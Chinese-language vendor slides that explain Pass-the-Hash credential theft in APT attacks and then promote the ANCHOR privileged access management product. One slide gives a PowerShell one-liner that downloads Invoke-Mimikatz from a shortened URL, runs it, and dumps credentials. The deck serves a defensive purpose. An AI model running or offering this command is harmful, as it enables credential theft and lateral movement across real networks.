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APT 攻擊如何利用特權帳號 
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Pass-the-Hash (PtH) 滲透背景 

• SSO 需求所衍生的認證足跡 

– 多種通訊協定 

– 多種認證方法 

– 多種儲存位置 

– 多種登入型態 

• 可以遠端取得這些足跡 

• 一直不被視為漏洞 

– 沒有修補程式 

– 無法(不易)變更配置 
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作業系統中的 
Credential Footprint 

使用者帳號: lambert 

登入密碼: hdishoj!62 

Local Security Authority(LSASS) 

NTLM 

Digest 

Kerberos 

NTOWF: BCA2289370BA70 

Password: hdishoj!62 

TGT 

Service 
Ticket Service 
Ticket Service 
Ticket 



Pass-the-Hash (PtH) 手法 
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攻擊者 

利用社交工程釣魚手法，
引誘使用者執行惡意程
式並利用漏洞。 
 
先取得本機管理者權限
後，利用駭客工具取得
在該台電腦曾經執行過
的帳號以及其密碼Hash 。 
 
然後拿這個密碼來存取
其他主機甚至網域控制
站。 

平行 
移動 



滲透工具、範例 

• 相關工具 

– MetaSploit, Mimikatz … 

• 範例展示 

– powershell "IEX (New-Object 

Net.WebClient).DownloadString('http://is.gd/oeoFuI'); 

Invoke-Mimikatz -DumpCreds" 
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執行畫面範例 
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APT入侵生命週期 
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常見的APT入侵生命週期 
(參考 Websense) 

PtH 的角度看到的 APT 攻擊週期 
(參考 CyberEdge) 

Entry 

進駐、佔據 

Extraction 

萃取特權帳密 

Extension 

擴張 

Re-Use 

潛伏、遙控 



防止 PtH 攻擊策略 

• 降低惡意程式取得: 

local administrator權限機會 

– 一般使用者 <> 本地管理者 

• 減少特權帳號於端點的足跡 

– 限制特權網域帳號的數量、取用 

– 實施 Tiered Admin Model 

– 透過 hardened/restricted 主機或
跳板才能進行重要主機維護 

– 管理者於方便與安全間的平衡 

• 減少特權共用帳號的使用 

– Domain admin/sa/root 

– Help-desk 遠端協助 /背景服務 
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特權帳號類型 
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AD 管理者 

Windows  

主機管理權限 

Linux/Unix 

/大型主機 

root 

資料庫 

sys/sa權限 

VM/虛擬平台 

root 權限 

網路/資安設備 

管理權限 

雲端服務 

管理者權限 



特權帳號缺乏控管之風險 
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使用者存在 
過高的權限 

未經授權 
的操作 

帳密被竊 
或遺失 

資安事件 
缺乏特權帳號 
鑑識資料 

蛙跳行為 
存取控管失效 

共享特權 
帳密問題 

造成系統入侵，
資料遭竊或破壞 

任意存取、修改
造成的服務中斷
或系統破壞 

常因職務輪調導
致特定人員存在
過高的系統權限 

系統預設管理帳
號 root, admin, 
administrator, 
sa, sysadim 等
帳號，多人都 
持有帳密 違規存取管制

風險 

找出事件發
生原因困難，
甚至在法庭
上缺乏證據
力 



什麼是 PAM 特權帳號管理 

PAM (Privileged Access Management) 

透過特權使用者帳號的 

集中管理、存取控管、行為監控 

協助單位降低因特殊權限帳號的違規使用 

以及駭客入侵而造成的資安風險， 

並滿足資訊治理與法規遵循 

PIM (Privileged Identity Management) 
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現有的特權帳號管理方式 
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完全不管/各自保管 

•寫在紙上 

•明碼檔案存放 

•不知還有誰知道? 

? 

紀錄於 XLS 檔案 

•放於網路芳鄰 

•全IT部門都知道 

•缺乏可歸責性 

成
熟
度 

封存實體保險箱 

•人工流程管理 

•容易出錯 

•不易定期更換 

自動化特權管理 

•自動流程管理 

•完整稽核紀錄 

•落實生命週期 

演進 



ANCHOR 方案的應用領域 
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1 

特權帳密管理 
 

取代傳統拆信封 

簡易簽核流程 

人員目錄整合 

自動化重設密碼 
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授權/存取管理 
 

彈性授權規則 

委外廠商存取控制 

SSO/代登入 

隱藏真實特權密碼 
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行為監控記錄 
 

操作行為錄影 

即時監看能力 

倍速撥放 

事中指令管控 

ANCHOR 



系統架構 
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委外廠商 

Win/Unix 

/大型主機 
資料庫 VM/虛擬平台 網路 

資安設備 

雲端服務 

內部IT人員 

內外稽核 

/特權使用者 

開發人員
/DBA 

ANCHOR 



Credential Vault 
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取代傳統實體特權帳密密碼函的作法 

數位密碼保管箱 

特性: 
• 三層加密 
• 同時使用多種加解密演算法 
• 金鑰分持 
• 支持破窗機制設計 



特權帳號盤點、納管 

• 定期到各受控管的主機
上進行特權帳號盤點 

– 將特權帳號納管 

– 找出違法被使用者 

偷建的特權帳號 

– 可支援新建帳號 

自動納管功能 

– 納管後，可「自動」依指
定密碼複雜度及週期變更
密碼，以符合資安規範 
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Win/Unix 

/大型主機 
資料庫 VM/虛擬平台 

/網路設備 

ANCHOR 



臨時帳號申請 

• 使用時機 

– 委外廠商或顧問，維護上需要以特權帳號進入重要系統 

– 無法於 AD 上幫外人建立帳號 

– 不便將管理者自己帳號輕易給外人 
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使用者填寫 
特權帳號申請 
含欲連線資源 
與連線方法 

簽核流程 
主管同意 
通知當事人 
(OTP 雙因素 
認證碼簡訊) 

系統幫其 
代登入(SSO) 
 
連線過程: 
  即時監控、 
  全程錄影、 
  留下稽核紀錄 



OTP 雙因素強化認證 

• 一次性密碼(OTP) 

– 即時以 Email或手機簡訊派送
OTP通行碼 

• 依角色啟用帳密或雙因子認
證(OTP) 

– 系統管理者 / 單位管理者/ 一
般使用者 / 臨時使用者 

• 支援 OTP失敗次數鎖定與
有效時間設定 
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操作行為監看、行為錄影 

• 即時操作監看 

– 可傳送訊息給操作者 

– 必要時可隨時中斷其連線 

• 創新動態錄影方法 

– 僅有操作動作才錄影 

– 錄影檔極高壓縮率 

– 節省儲存空間 

• 違規指令阻斷 

– 可定義違規指令集 

– 針對telnet/ssh操作進行阻斷 
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事後錄影播放、稽核、取證 
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總結: ANCHOR 特權帳號管理 
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針對特權帳號管理提供完整功能。協助特權帳號的自動化盤

點、納管、帳號取出與簽核流程、SSO代登入、連線階段的

行為錄影、稽核紀錄。以完善資安治理的一塊拼圖。 

 
ANCHOR 解決方案的特色 

安全電子帳密保管箱:  

安全的監管特權的帳號與密碼 

受控主機不需安裝Agent : 

避免主機效能與相容性疑慮 

提供OTP及其他雙因素認證: 

低成本的提升帳號認證安全性 

錄影即時監看、進行事中控制: 

播放時可指定多倍數放映 

不須跳板機的佈署架構: 

即可實施全程錄影、代登入 

解決共用帳號的風險:  

滿足帳號存取的可歸責要求 
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